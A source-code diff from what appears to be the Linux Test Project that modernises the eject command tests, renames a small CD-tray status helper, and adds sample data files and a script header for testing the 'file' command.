--- a/testcases/commands/eject/Makefile
+++ b/testcases/commands/eject/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/commands/eject/check_tray.c b/testcases/commands/eject/check_tray.c
deleted file mode 100644
index 20a0163..0000000
--- a/testcases/commands/eject/check_tray.c
+++ /dev/null
@@ -1,68 +0,0 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) International Business Machines  Corp., 2001                 */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful, but        */
-/* WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY */
-/* or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   */
-/* for more details.                                                          */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software		          */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*									                                          */
-/******************************************************************************/
-
-/******************************************************************************/
-/*                                                                            */
-/* File:        check_tray.c                                                  */
-/*                                                                            */
-/* Description: This program checks the status of the cdrom drive, it will    */
-/*              return the status as to if the cdrom device is open or is     */
-/*              ready for use.                                                */
-/*                                                                            */
-/* History:                                                                   */
-/* Jan 8 2003 - Created - Manoj Iyer manjo@mail.utexas.edu                    */
-/*            - Note: In the 2.4.19 kenrel ioctl() & this so this program     */
-/*              '2' even when there is no cdrom in the drive. This might be   */
-/*              a kbug. So value 1 is not used in the script to check if      */
-/*              drive is empty.                                               */
-/*                                                                            */
-/******************************************************************************/
-
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <linux/cdrom.h>
-#include <sys/ioctl.h>
-#include <stdlib.h>
-
-/******************************************************************************/
-/*                                                                            */
-/* Function:	main                                                          */
-/*                                                                            */
-/* Description: This function opens the cdrom device, and checks the status   */
-/*              of the drive. Note drop the cdrom inside the cd drive for     */
-/*              this program to work usefully.                                */
-/*                                                                            */
-/* Exit Vaules: 0 - No information.                                           */
-/*              1 - No disk in the drive.                                     */
-/*              2 - CD tray is open.                                          */
-/*              3 - CD drive not ready.                                       */
-/*              4 - CD disk in drive & drive closed.                          */
-/*                                                                            */
-/******************************************************************************/
-
-int main()
-{
-	int fdcdrom = -1;
-
-	if ((fdcdrom = open("/dev/cdrom", O_RDONLY | O_NONBLOCK)) == -1)
-		exit(-2);
-
-	exit(ioctl(fdcdrom, CDROM_DRIVE_STATUS));
-}
diff --git a/testcases/commands/eject/eject-tests.sh b/testcases/commands/eject/eject-tests.sh
index 29feb8b..e9971b5 100755
--- a/testcases/commands/eject/eject-tests.sh
+++ b/testcases/commands/eject/eject-tests.sh
@@ -2,6 +2,8 @@
 ################################################################################
 ##                                                                            ##
 ## Copyright (c) International Business Machines  Corp., 2001                 ##
+##  Author: Manoj Iyer, manjo@mail.utexas.edu                                 ##
+## Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>                          ##
 ##                                                                            ##
 ## This program is free software;  you can redistribute it and#or modify      ##
 ## it under the terms of the GNU General Public License as published by       ##
@@ -14,361 +16,151 @@
 ## for more details.                                                          ##
 ##                                                                            ##
 ## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
+## along with this program;  if not, write to the Free Software Foundation,   ##
+## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
 ##                                                                            ##
 ################################################################################
 #
-# File :        eject_tests.sh
-#
-# Description:  Tests basic functionality of eject command.
-#
-# Author:       Manoj Iyer, manjo@mail.utexas.edu
-#
-# History:      Jan 01 2003 - Created - Manoj Iyer.
-#                           - Added - Test #2.
-#               Jan 03 2003 - Added - Test #3.
-#               Jan 06 2003 - Modified - Test #3.
-#                           - Changed tst_brk to use correct parameters.
-#                           - Check if $LTPTMP/cdrom directory exists before
-#                             creating it.
-#                           - Corrected code to check if return code is not 0
-#                             which indicated failure.
-#                           - fixed code to add $LTPTMP/cdrom to /etc/fstab
-#               Jan 07 2003 - Call eject with -v for verbose information.
-#                Jan 08 2003 - Added test #4.
+# Tests basic functionality of eject command.
 #
 
+TST_ID="eject01"
+TST_CNT=4
+TST_SETUP=setup
+TST_CLEANUP=cleanup
+TST_TESTFUNC=test
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_ROOT=1
+TST_NEEDS_CMDS="eject"
+. tst_test.sh
 
-export TST_TOTAL=4
+setup()
+{
+	CD_DRIVE="/dev/cdrom"
 
-if [ -z $LTPTMP && -z $TMPBASE ]
-then
-    LTPTMP=/tmp
-else
-    LTPTMP=$TMPBASE
-fi
+	if ! [ -e "$CD_DRIVE" ]; then
+		tst_brk TCONF "There is no "$CD_DRIVE""
+	fi
 
-if [ -z $LTPBIN && -z $LTPROOT ]
-then
-    LTPBIN=./
-else
-    LTPBIN=$LTPROOT/testcases/bin
-fi
+	if grep -q "$CD_DRIVE" /proc/mounts; then
+		tst_brk TCONF "$CD_DRIVE is already mounted"
+	fi
 
-# Set return code RC variable to 0, it will be set with a non-zero return code
-# in case of error. Set TFAILCNT to 0, increment if there occures a failure.
+	ROD mkdir "cdrom"
+}
 
-TFAILCNT=0
-RC=0
-RC1=0
-RC2=0
+cleanup()
+{
+	# We have to use the mount point since /dev/cdrom may be link to
+	# /dev/sr0 and because of that /dev/cdrom is not listed in /proc/mounts
+	tst_umount "$PWD/cdrom"
+}
 
-# Test #1
-# Test that eject -d lists the default device.
+test1()
+{
+	EXPECT_PASS eject -d \> eject.out
 
-export TCID=eject01
-export TST_COUNT=1
+	if grep -q "eject: default device:" eject.out; then
+		tst_res TPASS "Eject listed default device"
+	else
+		tst_res TFAIL "Eject failed to list default device"
+		cat eject.out
+	fi
+}
 
-$LTPBIN/tst_resm TINFO "Test #1: eject -d will list the default device."
+test2()
+{
+	EXPECT_PASS eject -v $CD_DRIVE \> eject.out
 
-eject -d > $LTPTMP/tst_eject.res 2>&1 || RC=$?
-if [ $RC -eq 0 ]
-then
-    grep "eject: default device:" $LTPTMP/tst_eject.res \
-        > $LTPTMP/tst_eject.out 2>&1 || RC1=$?
-    grep "cdrom" $LTPTMP/tst_eject.res \
-        2>&1 1>>$LTPTMP/tst_eject.out  || RC2=$?
-    if [ $RC1 -eq 0 ] && [ $RC2 -eq 0 ]
-    then
-        $LTPBIN/tst_resm TPASS  "Test #1: eject -d lists the default device"
-    else
-        $LTPBIN/tst_res TFAIL $LTPTMP/tst_eject.out \
-            "Test #1: eject -d failed to list. Reason:"
-        TFAILCNT=$(( $TFAILCNT+1 ))
-    fi
-else
-    echo "return code from eject = $RC" > $LTPTMP/tst_eject.out 2>/dev/null
-    $LTPBIN/tst_res TFAIL $LTPTMP/tst_eject.out \
-        "Test #1: eject failed. Reason: "
-fi
+	if grep -q "CD-ROM eject command succeeded" eject.out; then
+		# Close the tray if it is supported.
+	        eject -t $CD_DRIVE > /dev/null 2>&1
+		tst_res TPASS "Drive successfully ejected"
+	else
+		tst_res TFAIL "Eject failed"
+		cat eject.out
+	fi
+}
 
+mount_cdrom()
+{
+	local tries=100
 
-# Test #2
-# Test that eject -d lists the default device.
+	# Wait for the drive to spin up the disk
+	while [ $tries -gt 0 ]; do
+		eject_check_tray $CD_DRIVE
+		if [ $? -eq 4 ]; then
+			break
+		fi
+		tst_sleep 100ms
+		tries=$((tries-1))
+	done
 
-export TCID=eject02
-export TST_COUNT=2
-RC=0
+	mount "$CD_DRIVE" cdrom/ > mount.out 2>&1
+	if [ $? -eq 32 ]; then
+		tst_res TCONF "Failed to mount $CD_DRIVE, no disk in drive?"
+		cat mount.out
+		return 0
+	fi
 
-$LTPBIN/tst_resm TINFO "Test #2: eject command with no options"
-$LTPBIN/tst_resm TINFO "Test #2: will eject the default cdrom device."
+	tst_res TINFO "$CD_DRIVE mounted sucessfully"
 
-eject -v > $LTPTMP/tst_eject.res 2>&1 || RC=$?
-if [ $RC -eq 0 ]
-then
-    grep "CD-ROM eject command succeeded" $LTPTMP/tst_eject.res \
-        > $LTPTMP/tst_eject.out 2>&1 || RC=$?
-    if [ $RC -eq 0 ]
-    then
-        # Close the tray if it is supported.
-        eject -t > /dev/null 2>&1
-        $LTPBIN/tst_resm TPASS  "Test #2: eject succeded"
-    else
-        $LTPBIN/tst_res TFAIL $LTPTMP/tst_eject.out  \
-            "Test #2: eject fail.  Reason"
-    fi
-else
-    echo "Error code returned by eject: $RC" >>$LTPTMP/tst_eject.res \
-        2&/dev/null
-    $LTPBIN/tst_res TFAIL $LTPTMP/tst_eject.res \
-        "Test #2: eject failed. Reason:"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
+	return 1
+}
 
+test3()
+{
+	if mount_cdrom; then
+		return
+	fi
 
-# Test #3
-# Test the eject command will eject the default cdrom device and also unmount
-# device if it is currently mounted.
+	test2
 
-export TCID=eject03
-export TST_COUNT=3
-RC=0
+	if grep -q "$CD_DRIVE" /proc/mounts; then
+		tst_res TFAIL "$CD_DRIVE is stil moutned"
+	else
+		tst_res TPASS "$CD_DRIVE umounted succesfully"
+	fi
+}
 
-$LTPBIN/tst_resm TINFO "Test #3: eject command will eject the default cdrom"
-$LTPBIN/tst_resm TINFO "Test #3: device and also unmount the device if it"
-$LTPBIN/tst_resm TINFO "Test #3: is currently mounted."
+test4()
+{
+	if mount_cdrom; then
+		return
+	fi
 
-cp /etc/fstab $LTPTMP/fstab.bak > /dev/null 2>&1
+	EXPECT_PASS eject -a on $CD_DRIVE
 
-if [ -d $LTPTMP/cdrom ]
-then
-    $LTPBIN/tst_resm TINFO \
-        "Test #3: test cdrom mount point $LTPTMP/cdrom exists. Skip creation"
-else
-    mkdir -p $LTPTMP/cdrom > $LTPTMP/tst_eject.out 2>&1 || RC=$?
-    if [ $RC -ne 0 ]
-    then
-        $LTPBIN/tst_brk TBROK $LTPTMP/tst_eject.out NULL \
-            "Test #3: failed to make directory $LTPTMP/cdrom. Reason:"
-        TFAILCNT=$(( $TFAILCNT+1 ))
-    fi
-fi
+	eject_check_tray $CD_DRIVE
+	if [ $? -eq 2 ]; then
+		tst_brk TBROK "$CD_DRIVE is mounted but tray is open"
+	fi
 
-echo "/dev/cdrom $LTPTMP/cdrom iso9660 defaults,ro,user,noauto 0 0" >>/etc/fstab 2>$LTPTMP/tst_eject.out || RC=$?
-if [ $RC -ne 0 ]
-then
-    $LTPBIN/tst_brk TBROK $LTPTMP/tst_eject.out NULL \
-        "Test #3: failed adding $LTPTMP/cdrom to /etc/fstab. Reason:"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
+	EXPECT_PASS umount $CD_DRIVE
 
-mount $LTPTMP/cdrom > $LTPTMP/tst_eject.out 2>&1 || RC=$?
-if [ $RC -ne 0 ]
-then
-    echo ".Failed to mount $LTPTMP/cdrom." >> $LTPTMP/tst_eject.out 2>/dev/null
-    $LTPBIN/tst_brk TBROK $LTPTMP/tst_eject.out NULL \
-             "Test #3: mount failed. Reason:"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-else
-    eject > $LTPTMP/tst_eject.out 2>&1 || RC=$?
-    if [ $RC -eq 0 ]
-    then
-        mount > $LTPTMP/tst_eject.res 2>&1
-        grep "$LTPTMP/cdrom" $LTPTMP/tst_eject.res > $LTPTMP/tst_eject.out 2>&1 \
-            || RC=$?
-        if [ $RC -ne 0 ]
-        then
-            $LTPBIN/tst_resm TPASS  "Test #3: eject unmounted device"
-        else
-            $LTPBIN/tst_resm TFAIL \
-                "Test #3: eject failed to unmount /dev/cdrom."
-            TFAILCNT=$(( $TFAILCNT+1 ))
-        fi
-    else
-        $LTPBIN/tst_res TFAIL $LTPTMP/tst_eject.out \
-           "Test #3: eject failed. Reason:"
-        TFAILCNT=$(( $TFAILCNT+1 ))
-    fi
-fi
+	eject_check_tray $CD_DRIVE
+	if [ $? -eq 2 ]; then
+		tst_res TPASS "$CD_DRIVE was auto-ejected"
+	else
+		tst_res TFAIL "$CD_DRIVE was not auto-ejected"
+	fi
 
-if [ -f $LTPTMP/fstab.bak ]
-then
-    mv $LTPTMP/fstab.bak /etc/fstab > /dev/null 2>&1
-else
-    $LTPBIN/tst_resm TINFO "Test #3: Could not restore /etc/fstab coz"
-    $LTPBIN/tst_resm TINFO "Test #3: backup file $LTPTMP/fstab.bak was lost!"
-fi
+	EXPECT_PASS eject -a off $CD_DRIVE
 
+	eject -t $CD_DRIVE > /dev/null 2>&1
 
-# Test #4
-# Test if eject -a on|1|off|0 will enable/disable auto-eject mode
-# the drive automatically ejects when the device is closed.
+	if mount_cdrom; then
+		return
+	fi
 
-export TCID=eject04
-export TST_COUNT=4
-RC=0
+	EXPECT_PASS umount $CD_DRIVE
 
-$LTPBIN/tst_resm TINFO "Test #4: eject -a on|1|off|0 will "
-$LTPBIN/tst_resm TINFO "Test #4: enable/disable auto-eject mode"
-$LTPBIN/tst_resm TINFO "Test #4: NOTE!!! Some devices do not support this mode"
-$LTPBIN/tst_resm TINFO "Test #4: so test may fail."
+	eject_check_tray $CD_DRIVE
+	if [ $? -eq 2 ]; then
+		tst_res TFAIL "$CD_DRIVE was auto-ejected"
+	else
+		tst_res TPASS "$CD_DRIVE was not auto-ejected"
+	fi
+}
 
-# Check is temporary mount point for /dev/cdrom exists
-# if not create one.
-if [ -d $LTPTMP/cdrom ]
-then
-    $LTPBIN/tst_resm TINFO "$LTPTMP/cdrom exists, skip creating the directory"
-else
-    mkdir -p $LTPTMP/cdrom > $LTPTMP/tst_eject.out 2>&1 || RC=$?
-    if [ $RC -ne 0 ]
-    then
-        $LTPBIN/tst_brk TBROK $LTPTMP/tst_eject.out NULL \
-            "Test #3: failed to make directory $LTPTMP/cdrom. Reason:"
-        TFAILCNT=$(( $TFAILCNT+1 ))
-    fi
-fi
-
-# Check if /etc/fstab has this temporary mount point for /dev/cdrom listed
-# as one of the entries. If not create and entry and make a back up of the
-# origianl /etc/fstab
-grep "$LTPTMP/cdrom" /etc/fstab > $LTPTMP/tst_eject.out 2>&1 || RC=$?
-if [ -f $LTPTMP/fstab.bak && $RC -eq 0 ]
-then
-     $LTPBIN/tst_resm TINFO "$LTPTMP/cdrom entry exists in /etc/fstab"
-else
-    cp /etc/fstab $LTPTMP/fstab.bak > $LTPTMP/tst_eject.out 2>&1
-    echo "/dev/cdrom $LTPTMP/cdrom iso9660 defaults,ro,user,noauto 0 0" >>/etc/fstab 2>$LTPTMP/tst_eject.out || RC=$?
-    if [ $RC -ne 0 ]
-    then
-        $LTPBIN/tst_brk TBROK $LTPTMP/tst_eject.out NULL \
-        "Test #4: failed adding $LTPTMP/cdrom to /etc/fstab. Reason:"
-        TFAILCNT=$(( $TFAILCNT+1 ))
-    fi
-fi
-
-# mount the cdrom device /dev/cdrom on to $LTPTMP/cdrom
-# and enable auto-eject. unmounting $LTPTMP/cdrom should open the tray and
-# eject the cdrom.
-
-mount $LTPTMP/cdrom > $LTPTMP/tst_eject.out 2>&1 || RC=$?
-if [ $RC -ne 0 ]
-then
-    $LTPBIN/tst_brk TBROK $LTPTMP/tst_eject.out NULL \
-        "Test #4: failed mounting $LTPTMP/cdrom. Reason: "
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-eject -a 1 > $LTPTMP/tst_eject.out 2>&1 || RC=$?
-if [ $RC -ne 0 ]
-then
-    $LTPBIN/tst_res TFAIL $LTPTMP/tst_eject.out NULL \
-        "Test #4: eject command failed setting auto-eject mode on. Reason:"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-# check if the tray is still closed and not open.
-# check_tray will return 2 if the tray is open.
-
-$LTPBIN/check_tray || RC=$?
-if [ $RC -eq 2 ]
-then
-    $LTPBIN/tst_brkm TBROK NULL \
-        "Test #4: /dev/cdrom is mounted but the tray is open!"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-# closing the device i.e unmounting $LTPTMP/cdrom should now open the tray
-# i.e auto-eject the cdrom.
-
-umount $LTPTMP/cdrom > $LTPTMP/tst_eject.out 2>&1 || RC=$?
-if [ $RC -ne 0 ]
-then
-    $LTPBIN/tst_brk TBROK $LTPTMP/tst_eject.out NULL \
-        "Test #4: unmounting the cdrom failed. Reason: "
-    TFAILCNT=$(( $TFAILCNT+1 ))
-else
-    $LTPBIN/check_tray || RC=$?
-    if [ $RC -eq 2 ]
-    then
-        $LTPBIN/tst_resm TPASS  "Test #4: /dev/cdrom is tray is open"
-    else
-        $LTPBIN/tst_resm TFAIL "Test #4: /dev/cdrom is tray is still closed"
-    fi
-fi
-
-# disable auto-eject, closing the device should not open the tray.
-
-eject -a 0 > $LTPTMP/tst_eject.out 2>&1 || RC=$?
-if [ $RC -ne 0 ]
-then
-    $LTPBIN/tst_res TFAIL $LTPTMP/tst_eject.out NULL \
-        "Test #4: eject command failed setting auto-eject mode on. Reason:"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-else
-    $LTPBIN/tst_resm TINFO "Test #4: auto-eject feature disabled"
-fi
-
-# close the tray
-
-eject -tv > $LTPTMP/tst_eject.res 2>&1 || RC=$?
-if [ $RC -ne 0 ]
-then
-    $LTPBIN/tst_res TFAIL $LTPTMP/tst_eject.res NULL \
-        "Test #4: eject command to close the tray. Reason:"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-else
-    grep "closing tray" $LTPTMP/tst_eject.res > $LTPTMP/tst_eject.out 2>&1 || RC=$?
-    if [ $RC -eq 0 ]
-    then
-        $LTPBIN/check_tray || RC=$?
-        if [ $RC -eq 2 ]
-        then
-            $LTPBIN/tst_brkm TBROK NULL \
-                "Test #4: eject -t reported tray closed, but tray is open"
-            TFAILCNT=$(( $TFAILCNT+1 ))
-        fi
-    fi
-fi
-
-mount $LTPTMP/cdrom > $LTPTMP/tst_eject.out 2>&1 || RC=$?
-if [ $RC -ne 0 ]
-then
-    $LTPBIN/tst_brk TBROK $LTPTMP/tst_eject.out NULL \
-        "Test #4: failed mounting $LTPTMP/cdrom. Reason: "
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-umount $LTPTMP/cdrom > $LTPTMP/tst_eject.out 2>&1 || RC=$?
-if [ $RC -ne 0 ]
-then
-    $LTPBIN/tst_brk TBROK $LTPTMP/tst_eject.out NULL \
-        "Test #4: failed mounting $LTPTMP/cdrom. Reason: "
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-$LTPBIN/check_tray || RC=$?
-if [ $RC -eq 2 ]
-then
-    $LTPBIN/tst_resm TFAIL \
-        "Test #4: closing the device opened the tray, but, auto-eject = off"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-else
-    $LTPBIN/tst_resm TPASS "Test #4: eject can enable and disable auto-eject"
-fi
-
-
-if [ -f $LTPTMP/fstab.bak ]
-then
-    mv $LTPTMP/fstab.bak /etc/fstab > /dev/null 2>&1
-else
-    $LTPBIN/tst_resm TINFO "Test #4: Could not restore /etc/fstab coz"
-    $LTPBIN/tst_resm TINFO "Test #4: backup file $LTPTMP/fstab.bak was lost!"
-fi
-
-#CLEANUP & EXIT
-# remove all the temporary files created by this test.
-rm -fr $LTPTMP/tst_eject* $LTPTMP/cdrom
-eject -t > /dev/null 2>&1
-
-exit $TFAILCNT
+tst_run
diff --git a/testcases/commands/eject/eject_check_tray.c b/testcases/commands/eject/eject_check_tray.c
new file mode 100644
index 0000000..07e8153
--- /dev/null
+++ b/testcases/commands/eject/eject_check_tray.c
@@ -0,0 +1,53 @@
+/******************************************************************************/
+/*                                                                            */
+/* Copyright (c) International Business Machines  Corp., 2001                 */
+/*  Jan 8 2003 - Created - Manoj Iyer manjo@mail.utexas.edu                   */
+/*                                                                            */
+/* This program is free software;  you can redistribute it and/or modify      */
+/* it under the terms of the GNU General Public License as published by       */
+/* the Free Software Foundation; either version 2 of the License, or          */
+/* (at your option) any later version.                                        */
+/*                                                                            */
+/* This program is distributed in the hope that it will be useful, but        */
+/* WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY */
+/* or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   */
+/* for more details.                                                          */
+/*                                                                            */
+/* You should have received a copy of the GNU General Public License          */
+/* along with this program;  if not, write to the Free Software Foundation,   */
+/* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           */
+/******************************************************************************/
+
+/*
+ *
+ * Description: This program checks the status of the cdrom drive, it will
+ *              return the status as to if the cdrom device is open or is
+ *              ready for use.
+ */
+
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <linux/cdrom.h>
+#include <sys/ioctl.h>
+#include <stdlib.h>
+
+/*
+ * Exit Vaules:
+ * 0 - No information.
+ * 1 - No disk in the drive.
+ * 2 - CD tray is open.
+ * 3 - CD drive not ready.
+ * 4 - CD disk in drive & drive closed.
+ */
+int main(int argc, char *argv[])
+{
+	int fd;
+
+	if (argc != 2)
+		exit(-1);
+
+	if ((fd = open(argv[1], O_RDONLY | O_NONBLOCK)) == -1)
+		exit(-2);
+
+	exit(ioctl(fd, CDROM_DRIVE_STATUS));
+}
diff --git a/testcases/commands/fileutils/Makefile b/testcases/commands/file/Makefile
similarity index 89%
copy from testcases/commands/fileutils/Makefile
copy to testcases/commands/file/Makefile
index 65616f7..e6257a1 100644
--- a/testcases/commands/fileutils/Makefile
+++ b/testcases/commands/file/Makefile
@@ -1,5 +1,5 @@
 #
-#    commands/fileutils test suite Makefile.
+#    commands/ade/file testcases Makefile.
 #
 #    Copyright (C) 2009, Cisco Systems Inc.
 #
@@ -17,11 +17,13 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
+INSTALL_TARGETS		:= file_test.sh
+
 include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/commands/file/datafiles/.gitignore b/testcases/commands/file/datafiles/.gitignore
new file mode 100644
index 0000000..6bd63c9
--- /dev/null
+++ b/testcases/commands/file/datafiles/.gitignore
@@ -0,0 +1 @@
+/in
diff --git a/testcases/commands/ade/ldd/Makefile b/testcases/commands/file/datafiles/Makefile
similarity index 74%
copy from testcases/commands/ade/ldd/Makefile
copy to testcases/commands/file/datafiles/Makefile
index f37f21b..d3cb847 100644
--- a/testcases/commands/ade/ldd/Makefile
+++ b/testcases/commands/file/datafiles/Makefile
@@ -1,7 +1,5 @@
 #
-#    commands/ade/ldd testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
+#    Copyright (C) 2016, Linux Test Project.
 #
 #    This program is free software; you can redistribute it and/or modify
 #    it under the terms of the GNU General Public License as published by
@@ -12,14 +10,10 @@
 #    but WITHOUT ANY WARRANTY; without even the implied warranty of
 #    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 #    GNU General Public License for more details.
-#
-# Garrett Cooper, July 2009
-#
 
 top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
-
-INSTALL_TARGETS		:= ldd01
-
-include $(top_srcdir)/include/mk/generic_trunk_target.mk
+INSTALL_DIR		:= testcases/data/file01
+INSTALL_TARGETS		:= in*
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/commands/file/datafiles/in.ar b/testcases/commands/file/datafiles/in.ar
new file mode 100644
index 0000000..2560835
--- /dev/null
+++ b/testcases/commands/file/datafiles/in.ar
@@ -0,0 +1,10 @@
+!<arch>
+file1/          1477324017  1000  1000  100644  21        `
+This is simple file.
+
+file2/          1477324022  1000  1000  100644  21        `
+This is simple file.
+
+file3/          1477324026  1000  1000  100644  21        `
+This is simple file.
+
diff --git a/testcases/commands/file/datafiles/in.bash b/testcases/commands/file/datafiles/in.bash
new file mode 100644
index 0000000..a964cd1
--- /dev/null
+++ b/testcases/commands/file/datafiles/in.bash
@@ -0,0 +1,4 @@
+#! /bin/bash
+
+echo "this is a shell script"
+echo "used to test file command"
diff --git a/testcases/commands/file/datafiles/in.c b/testcases/commands/file/datafiles/in.c
new file mode 100644
index 0000000..87b8716
--- /dev/null
+++ b/testcases/commands/file/datafiles/in.c
@@ -0,0 +1,7 @@
+#include <stdio.h>
+
+int main(void)
+{
+	printf("Hello Hell\n");
+	return 0;
+}
diff --git a/testcases/commands/file/datafiles/in.csh b/testcases/commands/file/datafiles/in.csh
new file mode 100644
index 0000000..c475aef
--- /dev/null
+++ b/testcases/commands/file/datafiles/in.csh
@@ -0,0 +1,4 @@
+#! /bin/csh
+
+echo "this is a shell script"
+echo "used to test file command"
diff --git a/testcases/commands/file/datafiles/in.jpg b/testcases/commands/file/datafiles/in.jpg
new file mode 100644
index 0000000..0488574
--- /dev/null
+++ b/testcases/commands/file/datafiles/in.jpg
Binary files differ
diff --git a/testcases/commands/file/datafiles/in.ksh b/testcases/commands/file/datafiles/in.ksh
new file mode 100644
index 0000000..3ae4512
--- /dev/null
+++ b/testcases/commands/file/datafiles/in.ksh
@@ -0,0 +1,4 @@
+#! /bin/ksh
+
+echo "this is a shell script"
+echo "used to test file command"
diff --git a/testcases/commands/file/datafiles/in.m4 b/testcases/commands/file/datafiles/in.m4
new file mode 100644
index 0000000..cf30df0
--- /dev/null
+++ b/testcases/commands/file/datafiles/in.m4
@@ -0,0 +1,5 @@
+dnl
+dnl This is a M4 script
+dnl
+define(TEST, This is a test)dnl
+TEST
diff --git a/testcases/commands/file/datafiles/in.mp3 b/testcases/commands/file/datafiles/in.mp3
new file mode 100644
index 0000000..ae2200c
--- /dev/null
+++ b/testcases/commands/file/datafiles/in.mp3
Binary files differ
diff --git a/testcases/commands/file/datafiles/in.pl b/testcases/commands/file/datafiles/in.pl
new file mode 100755
index 0000000..29c2a30
--- /dev/null
+++ b/testcases/commands/file/datafiles/in.pl
@@ -0,0 +1,3 @@
+#!/usr/bin/perl
+
+print "This is a test.\n"
diff --git a/testcases/commands/file/datafiles/in.png b/testcases/commands/file/datafiles/in.png
new file mode 100644
index 0000000..24272b6
--- /dev/null
+++ b/testcases/commands/file/datafiles/in.png
Binary files differ
diff --git a/testcases/commands/file/datafiles/in.py b/testcases/commands/file/datafiles/in.py
new file mode 100755
index 0000000..26f54ff
--- /dev/null
+++ b/testcases/commands/file/datafiles/in.py
@@ -0,0 +1,3 @@
+#!/usr/bin/python
+
+print("This is a test.")
diff --git a/testcases/commands/file/datafiles/in.sh b/testcases/commands/file/datafiles/in.sh
new file mode 100755
index 0000000..4e9b64a
--- /dev/null
+++ b/testcases/commands/file/datafiles/in.sh
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+echo "This is a test."
diff --git a/testcases/commands/file/datafiles/in.src.rpm b/testcases/commands/file/datafiles/in.src.rpm
new file mode 100644
index 0000000..b0c57d7
--- /dev/null
+++ b/testcases/commands/file/datafiles/in.src.rpm
Binary files differ
diff --git a/testcases/commands/file/datafiles/in.tar b/testcases/commands/file/datafiles/in.tar
new file mode 100644
index 0000000..8002b15
--- /dev/null
+++ b/testcases/commands/file/datafiles/in.tar
Binary files differ
diff --git a/testcases/commands/file/datafiles/in.tar.bz2 b/testcases/commands/file/datafiles/in.tar.bz2
new file mode 100644
index 0000000..d304d3e
--- /dev/null
+++ b/testcases/commands/file/datafiles/in.tar.bz2
Binary files differ
diff --git a/testcases/commands/file/datafiles/in.tar.gz b/testcases/commands/file/datafiles/in.tar.gz
new file mode 100644
index 0000000..57aae69
--- /dev/null
+++ b/testcases/commands/file/datafiles/in.tar.gz
Binary files differ
diff --git a/testcases/commands/file/datafiles/in.txt b/testcases/commands/file/datafiles/in.txt
new file mode 100644
index 0000000..bf06024
--- /dev/null
+++ b/testcases/commands/file/datafiles/in.txt
@@ -0,0 +1,2 @@
+This is a text file
+to test file command.
diff --git a/testcases/commands/file/datafiles/in.wav b/testcases/commands/file/datafiles/in.wav
new file mode 100644
index 0000000..5aa9274
--- /dev/null
+++ b/testcases/commands/file/datafiles/in.wav
Binary files differ
diff --git a/testcases/commands/file/datafiles/in.zip b/testcases/commands/file/datafiles/in.zip
new file mode 100644
index 0000000..d5e5873
--- /dev/null
+++ b/testcases/commands/file/datafiles/in.zip
Binary files differ
diff --git a/testcases/commands/file/file_test.sh b/testcases/commands/file/file_test.sh
new file mode 100755
index 0000000..ed4792a
--- /dev/null
+++ b/testcases/commands/file/file_test.sh
@@ -0,0 +1,106 @@
+#!/bin/sh
+################################################################################
+##                                                                            ##
+## Copyright (c) International Business Machines  Corp., 2001                 ##
+## Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>                          ##
+##                                                                            ##
+## This program is free software;  you can redistribute it and#or modify      ##
+## it under the terms of the GNU General Public License as published by       ##
+## the Free Software Foundation; either version 2 of the License, or          ##
+## (at your option) any later version.                                        ##
+##                                                                            ##
+## This program is distributed in the hope that it will be useful, but        ##
+## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
+## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
+## for more details.                                                          ##
+##                                                                            ##
+## You should have received a copy of the GNU General Public License          ##
+## along with this program;  if not, write to the Free Software Foundation,   ##
+## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
+##                                                                            ##
+################################################################################
